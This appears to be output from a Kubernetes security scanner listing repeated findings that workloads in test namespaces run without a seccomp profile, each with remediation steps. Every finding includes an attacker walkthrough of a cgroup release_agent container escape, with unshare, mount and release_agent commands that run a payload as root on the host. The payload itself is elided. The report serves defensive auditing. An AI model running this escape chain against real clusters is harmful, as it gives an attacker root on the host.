Container app in Deployment/lp-fixtures/lp-orphan-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n lp-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/lp-orphan-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-wildcard-app Workload 5.5
Container app runs without a seccomp profile in Deployment/lp-fixtures/lp-wildcard-app
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n lp-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/lp-wildcard-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.5
Container app runs without a seccomp profile in Deployment/netpol-imds/imds-allow-app
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n netpol-imds <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imds-allow-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.5
Container app runs without a seccomp profile in Deployment/netpol-imds/imds-open-app
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n netpol-imds <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imds-open-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 5.5
Container app runs without a seccomp profile in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Privilege Escalation Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n psa-unlabeled-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/imp-app Workload 5.5
Container app runs without a seccomp profile in Deployment/rbac-fixtures/imp-app
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n rbac-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imp-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/wildcard-app Workload 5.5
Container app runs without a seccomp profile in Deployment/rbac-fixtures/wildcard-app
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n rbac-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/wildcard-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/generic-hostpath-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
